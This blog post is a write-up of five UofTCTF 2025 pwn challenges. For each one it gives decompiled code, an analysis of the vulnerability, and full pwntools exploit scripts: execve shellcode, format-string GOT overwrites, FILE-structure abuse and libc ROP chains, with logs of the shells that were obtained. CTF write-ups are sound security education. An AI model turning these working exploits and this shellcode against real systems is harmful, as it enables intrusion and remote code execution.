Post

UofTCTF 2025

Baby pwn

Here’s a baby pwn challenge for you to try out. Can you get the flag?

nc 34.162.142.123 5000

Author: atom

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
void secret()
{
    printf("Congratulations! Here is your flag: ");
    char *argv[] = {"/bin/cat", "flag.txt", NULL};
    char *envp[] = {NULL};
    execve("/bin/cat", argv, envp);
}

void vulnerable_function()
{
    char buffer[64];
    printf("Enter some text: ");
    fgets(buffer, 128, stdin);
    printf("You entered: %s\n", buffer);
}

int main()
{
    setvbuf(stdout, NULL, _IONBF, 0);
    printf("Welcome to the Baby Pwn challenge!\n");
    printf("Address of secret: %p\n", secret);
    vulnerable_function();
    printf("Goodbye!\n");
    return 0;
}

Vulnerability

  • buffer is allocated 64 bytes but fgets allows reading upto 128 bytes, hence buffer overflow
1
2
3
4
5
6
7
8
9
10
➜  baby_pwn checksec baby-pwn
[*] '/home/vulnx/ctf/uoft/pwn/baby_pwn/baby-pwn'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x400000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No

since we have no PIE we can simply overwrite the return address with secret and profit

1
2
➜  baby_pwn nm baby-pwn | grep secret
0000000000401166 T secret
1
2
3
4
5
➜  baby_pwn echo "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaa\x66\x11\x40\x00\x00\x00\x00\x00" | nc 34.162.142.123 5000
Welcome to the Baby Pwn challenge!
Address of secret: 0x401166
Enter some text: You entered: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaaf@
Congratulations! Here is your flag: uoftctf{buff3r_0v3rfl0w5_4r3_51mp13_1f_y0u_kn0w_h0w_t0_d0_1t}

Flag

uoftctf{buff3r_0v3rfl0w5_4r3_51mp13_1f_y0u_kn0w_h0w_t0_d0_1t}

Baby pwn2

Hehe, now there’s no secret function to call. Can you still get the flag?

nc 34.162.119.16 5000

Author: atom

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void vulnerable_function()
{
    char buffer[64];
    printf("Stack address leak: %p\n", buffer);
    printf("Enter some text: ");
    fgets(buffer, 128, stdin);
}

int main()
{
    setvbuf(stdout, NULL, _IONBF, 0);
    printf("Welcome to the baby pwn 2 challenge!\n");
    vulnerable_function();
    printf("Goodbye!\n");
    return 0;
}

Vulnerability

  • Same buffer overflow like last time but here we don’t have secret to print the flag
  • one possibility could be to leak libc and perform a ret2libc attack
  • but since stack is executable we can do a more powerful ret2shellcode attack
  • when returning from vulnerable_function RAX holds a pointer to our user-input buffer. If we give shellcode as input and overwrite RIP with a jmp rax gadget, we can profit.

I used this simple shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
global _start:
        jmp    down
back:
        pop rdi
        xor rsi, rsi
        xor rdx, rdx
        mov rax, 0x3b
        syscall
down:
        call back
        db "/bin/sh", 0

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/env python3
from pwn import *
exe = ELF("./baby-pwn-2_patched")
context.binary = exe
context.terminal = [ 'tmux', 'splitw', '-h' ]

io = remote("34.162.119.16", 5000)
io.sendline(flat({
    0: b'\xeb\x0e\x5f\x48\x31\xf6\x48\x31\xd2\xb8\x3b\x00\x00\x00\x0f\x05\xe8\xed\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00',
    72: 0x00000000004010ce
}))
io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
➜  baby_pwn2 python solve.py
[+] Opening connection to 34.162.119.16 on port 5000: Done
[*] Switching to interactive mode
Welcome to the baby pwn 2 challenge!
Stack address leak: 0x7ffc2202e7b0
Enter some text: $
$ ls
baby-pwn-2
baby-pwn-2.c
flag.txt
run
$ cat flag.txt
uoftctf{sh3llc0d3_1s_pr3tty_c00l}

Flag

uoftctf{sh3llc0d3_1s_pr3tty_c00l}

Echo

Yet another echo service. However, the service keeps printing stack smashing detected for some reason, can you help me figure it out?

nc 34.29.214.123 5000

Author: White

This is where the real fun began

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void vuln(void)

{
  long in_FS_OFFSET;
  char local_11;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  read(0,&local_11,0x100);
  printf(&local_11);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
1
2
3
4
5
6
7
8
9
10
➜  echo checksec chall
[*] '/home/vulnx/ctf/uoft/pwn/echo/chall'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

Vulnerability

  • We have a 1-byte buffer and allowed read of upto 0x100 bytes, so obvious buffer overflow.
  • But we have have stack canary so we can’t simply overwrite the return address
  • We do have format string vuln to obtain canary and libc leak. but that would also violate the 1-byte buffer limit and call __stack_chk_fail
  • We need to realise that smashing the stack is inevitable here so we need to figure out a way to make __stack_chk_fail restart the program instead of crashing
  • Since we have PIE enabled this time, we can do a 2 byte partial overwrite of the return address and make it point to GOT entry for __stack_chk_fail then use fmt str attack in the same payload to overwrite 9th arg (overwritten to __stack_chk_fail) with 0xc0.
  • Why 0xc0? Because that would make __stack_chk_fail now point to _start and it won’t crash our program.
  • Now everytime we smash the stack, we restart the program, essentially we got infinite fmt string vuln
  • Now I choose to leak canary + libc and do a ret2libc attack

Here partial overwrite involes 1 nibble (or 4bits) bruteforce, this means there’s 1/16 chances of success, so we need to loop until we win

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/env python3

from pwn import *
exe = ELF("./chall_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
context.binary = exe
def stage_2(io):
    io.sendline(b'%13$p-%31$p-')
    io.recvuntil(b'0x')
    libc_leak = int(io.recvuntil(b'-')[:-1].strip(), 16)
    libc.address = libc_leak - 0x2a1ca
    log.success(f'{hex(libc.address) = }')
    canary = int(io.recvuntil(b'-')[:-1].strip(), 16)
    log.info(f'{hex(canary) = }')
    rop = ROP(libc)
    rop.raw(rop.ret)
    rop.system(next(libc.search(b'/bin/sh\x00')))
    io.sendline(flat({
        1: canary,
        17: rop.chain()
    }))
    io.interactive()
    exit(0)
# start here 👇
win = False
while win == False:
    # io = process(exe.path)
    io = remote("34.29.214.123", 5000)
    io.send(flat({
        0: b'hi%190d%9$hhn', # overwrite 0xc0 (=> _start)
        17: b'\x18\xe0' # overwrite 0xe018 (=> __stack_chk_fail got entry)...1 nibble bruteforce
    }))
    io.recvuntil(b'hi')
    try:
        io.sendline(b'yo_wassup')
        io.recvuntil(b'yo_wassup')
        log.success('start stage-2')
        stage_2(io)
        win = True
    except:
        log.failure(b'exploit failed')
        io.close()
        io.wait_for_close()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
➜  echo python solve.py
[+] Opening connection to 34.29.214.123 on port 5000: Done
[-] exploit failed
[*] Closed connection to 34.29.214.123 port 5000
[+] Opening connection to 34.29.214.123 on port 5000: Done
[-] exploit failed
...
[*] Closed connection to 34.29.214.123 port 5000
[+] Opening connection to 34.29.214.123 on port 5000: Done
[+] start stage-2
[+] hex(libc.address) = '0x795388f37000'
[*] hex(canary) = '0xa0f55faf8884b500'
[*] Loaded 111 cached gadgets for './libc.so.6'
[*] Switching to interactive mode

\xfe\x7fa$
$ ls
chall
flag.txt
$ cat flag.txt
uoftctf{c4n4ry_15_u53l355_1f_607_15_wr174bl3}

Flag

uoftctf{c4n4ry_15_u53l355_1f_607_15_wr174bl3}

Book Editor

Easily write and edit your book with this new service.

nc 34.46.232.251 5000

Author: White

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
void main(void)

{
  bool bVar1;
  int iVar2;
  
  setup();
  printf("How long will your book be: ");
  __isoc99_scanf(&%ld,&bookSize);
  book = malloc(bookSize);
  printf("Contents of the book: ");
  read(0,book,bookSize);
  bVar1 = true;
  do {
    while( true ) {
      while( true ) {
        if (!bVar1) {
          return;
        }
        menu();
        iVar2 = getChoice();
        if (iVar2 != 3) break;
        bVar1 = false;
      }
      if (iVar2 < 4) break;
LAB_004014f9:
      puts("That is not an option");
    }
    if (iVar2 == 1) {
      editBook();
    }
    else {
      if (iVar2 != 2) goto LAB_004014f9;
      readBook();
    }
  } while( true );
}
1
2
3
4
5
6
void readBook(void)

{
  printf("Here is your book: %s\n",book);
  return;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void editBook(void)

{
  int _;
  long in_FS_OFFSET;
  uint offset;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("Where do you want to edit: ");
  __isoc99_scanf(&%d,&offset);
  do {
    _ = getchar();
  } while (_ != 10);
  if (offset < bookSize) {
    printf("What do you want to edit: ");
    printf("%p",bookSize + -offset + -1);
    read(0,(void *)(book + (ulong)offset),(bookSize + -offset) - 1);
  }
  else {
    printf("Please dont edit ouside of the book.");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
1
2
3
4
5
6
7
8
9
10
➜  book checksec chall
[*] '/home/vulnx/ctf/uoft/pwn/book/chall'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

Vulnerability

  • Improper error handling.
  • Requesting -1 size causes malloc to fail returning a NULL which gets stored in book without any checks.
  • Since we have no PIE, we can give any write-able binary address as the offset and editBook will write our input into book + offset => 0 + address = address
  • Thus we can give book’s address and make it point to stdout and obtain a libc leak
  • Like always I want to do a ret2libc ROP chain attack.
  • But for that I need a stack leak, I could overwrite book with environ from libc to obtain a stack leak. But then I cannot change book again, and stack will always be (very much) ahead of environ pointer, so no offset will work, hence I ditched this idea.
  • Instead I choose to overwrite book with _IO_2_1_stdin_, so that I can overwrite both _IO_2_1_stdin_ and _IO_2_1_stdout_ (since it lies reasonable ahead of stdin).
  • If I can overwrite these file structures, I can force stdout to leak environ for me, giving me a stack leak.
  • Then I can force stdin to write my input (ROP chain) into saved RIP address on the stack and profit!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/env python3

from pwn import *
exe = ELF("./chall_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
context.binary = exe
io = remote("34.46.232.251", 5000)
print('Overwriting book with stdout')
pause()
io.sendline(b'-1')
io.sendline(b'1')
io.sendline(str(0x404030).encode()) # book
io.sendline(p64(0x404010)) # stdout
print('Leaking libc')
pause()
io.sendline(b'2')
io.recvuntil(b'Here is your book: ')
libc_leak = u64(io.recv(6).ljust(8, b'\x00'))
log.info(f'{hex(libc_leak) = }')
libc.address = libc_leak - 0x2045c0
log.success(f'{hex(libc.address) = }')
print('Overwriting book with _IO_2_1_stdin_')
pause()
io.sendline(b'1')
io.sendline(b'32')
io.sendline(p64(libc.sym._IO_2_1_stdin_ - 8))
print('Overwriting _IO_2_1_stdout_ to force environ leak')
pause()
io.sendline(b'1')
io.sendline(str(8 + 0xce0).encode())
fp = FileStructure()
fp.write(libc.sym.environ, 0x100)
io.sendline(bytes(fp)[:0x30])
io.recvuntil(b'0xfffff221')
stack_leak = u64(io.recv(6).ljust(8, b'\x00'))
log.success(f'{hex(stack_leak) = }')
print('Overwriting _IO_2_1_stdin_ to force writing data to return address')
pause()
io.sendline(b'1')
io.sendline(str(8 + 0x38).encode())
io.send(p64(stack_leak-2464) + p64(stack_leak-2464+0x100))
print('Writing rop chain to return address')
pause()
rop = ROP(libc)
rop.raw(rop.ret)
rop.system(next(libc.search(b'/bin/sh\x00')))
io.sendline(rop.chain())
io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
➜  book python solve.py
[+] Opening connection to 34.46.232.251 on port 5000: Done
Overwriting book with stdout
[*] Paused (press any to continue)
Leaking libc
[*] Paused (press any to continue)
[*] hex(libc_leak) = '0x78fe21c185c0'
[+] hex(libc.address) = '0x78fe21a14000'
Overwriting book with _IO_2_1_stdin_
[*] Paused (press any to continue)
Overwriting _IO_2_1_stdout_ to force environ leak
[*] Paused (press any to continue)
[+] hex(stack_leak) = '0x7ffcdb737aa8'
Overwriting _IO_2_1_stdin_ to force writing data to return address
[*] Paused (press any to continue)
Writing rop chain to return address
[*] Paused (press any to continue)
[*] Loaded 111 cached gadgets for './libc.so.6'
[*] Switching to interactive mode
1. Edit Book
2. Read Book
3. Exit
> Where do you want to edit: What do you want to edit: 0xfffffec91. Edit Book
2. Read Book
3. Exit
> $
$ ls
chall
flag.txt
$ cat flag.txt
uoftctf{4lw4y5_ch3ck_f0r_3rr0r5_4f73r_m4ll0c}

Flag

uoftctf{4lw4y5_ch3ck_f0r_3rr0r5_4f73r_m4ll0c}

Counting sort

Did you know that the best time complexity for a sorting algorithm is O(n). This is an example service that demonstrates this by sorting your characters.

nc 34.170.104.126 5000

Author: White

Best challenge!

1
2
3
4
5
6
7
void main(void)

{
  setup();
  sort();
  return;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
void sort(void)

{
  long lVar1;
  char *malloc_buffer;
  ssize_t n;
  byte *p;
  long in_FS_OFFSET;
  int i;
  int j;
  int k;
  byte *ptr_n_of_occur;
  byte map [256];
  byte n_of_occur;
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  map[0] = 0;
  map[1] = 0;
  map[2] = 0;
  ...
  map[255] = 0;
  malloc_buffer = (char *)malloc(0x200);
  n = read(0,malloc_buffer,0x200);
  for (i = 0; i < (int)n; i = i + 1) {
    p = map + malloc_buffer[i];
    *p = *p + 1;
  }
  free(malloc_buffer);
  ptr_n_of_occur = map;
  for (j = 0; j < 0x100; j = j + 1) {
    n_of_occur = *ptr_n_of_occur;
    for (k = 0; k < (int)(uint)n_of_occur; k = k + 1) {
      putchar(j);
    }
    ptr_n_of_occur = ptr_n_of_occur + 1;
  }
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
1
2
3
4
5
6
7
8
9
10
➜  sort checksec chall | wl-copy
[*] '/home/vulnx/ctf/uoft/pwn/sort/chall'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
  • The program stores our user input characters into a sort of map where the i-th index denotes the number of times chr(i) is repeated.
  • If we sequentially iterate the map, we will be alphabetically traversing the indexes. Hence the O(n) sort.

Vulnerability

  • char is by default signed, which means after 0x7f any character becomes a negative index into the map. Thus we can provide a negative index and change the address of the map itself and move it ahead (with \xf1)
  • So that any positive character like \x18 would point to first byte of saved RIP.
  • If we keep spamming \x18 we can increment the first byte from 0xbc to 0x1a5, which wraps into 0xa5 for byte-size constraints.
  • That makes the saved RIP now point to the start of main. Allowing us to restart the program when we return.
  • But what did we gain?
  • Since the map now points ahead of its actualy location, it will be leaking 256 bytes of data from that address, which in this case implied that we can leak the chall binary address, stack address, and a libc address.
  • Surprisingly ret2libc is not what I did here 😅 because my payload cannot have duplicate characters, so one_gadget was the only candidate I could think of.
  • Now we enter sort() for the 2nd time, in this iteration, again I supply a negative index and move map ahead. Then I write the one_gadget address into main’s saved RIP.
  • I also incremented saved RBP by 0x20 to make it point to NULL to satisfy one_gadget constraints.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/env python3

from pwn import *
exe = ELF("./chall_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
context.binary = exe
io = remote("34.170.104.126", 5000)
payload = b'\xf1'
payload += b'\x18' * (0xa0 + 5 - 0xbc + 0x100)
io.send(payload)
print('Leaking libc')
pause()
dump = b''
new_dump = b'lol'
while new_dump != b'':
    new_dump = io.clean()
    dump += new_dump
leak = b''
for i in range(256):
    leak += (dump.count((i).to_bytes())).to_bytes()
exe_leak = u64(leak[0x18+0:0x18+8])
stack_leak = u64(leak[0x18+8:0x18+16])
libc_leak = u64(leak[0x18+16:0x18+24])
libc.address = libc_leak - 0x2a1ca
log.info(f'{hex(exe_leak) = }')
log.info(f'{hex(stack_leak) = }')
log.info(f'{hex(libc_leak) = }')
log.success(f'{hex(libc.address) = }')
# # 0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])
# # constraints:
# #   address rbp-0x50 is writable
# #   rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
# #   [[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp
print('Writing one_gadget')
pause()
log.info(f'{hex(libc.address + 0xef52b) = }')
target = p64(libc.address + 0xef52b)[:3]
existing = p64(libc_leak)[:3]
payload = b'\xf1'
for i in range(3):
    if target[i] > existing[i]:
        payload += (0x28+i).to_bytes() * (target[i] - existing[i])
    else:
        payload += (0x28+i).to_bytes() * (target[i] - existing[i] + 0x100)
payload += b'\x20' * 0x20
io.send(payload)
io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
➜  sort python solve.py
[+] Opening connection to 34.170.104.126 on port 5000: Done
Leaking libc
[*] Paused (press any to continue)
[*] hex(exe_leak) = '0x5b0e69f1b4a5'
[*] hex(stack_leak) = '0x7ffcc578c1d0'
[*] hex(libc_leak) = '0x7e8be5edd1ca'
[+] hex(libc.address) = '0x7e8be5eb3000'
Writing one_gadget
[*] Paused (press any to continue)
[*] hex(libc.address + 0xef52b) = '0x7e8be5fa252b'
[*] Switching to interactive mode
$ ls
chall
flag.txt
$ cat flag.txt
uoftctf{r3m3mb3r_7h47_ch4r_15_516n3d_by_d3f4ul7}

Flag

uoftctf{r3m3mb3r_7h47_ch4r_15_516n3d_by_d3f4ul7}

Overall this was a very very fun CTF and I thoroughly enjoyed playing it, huge thanks of UofTCTF for organising it.

This post is licensed under CC BY 4.0 by the author.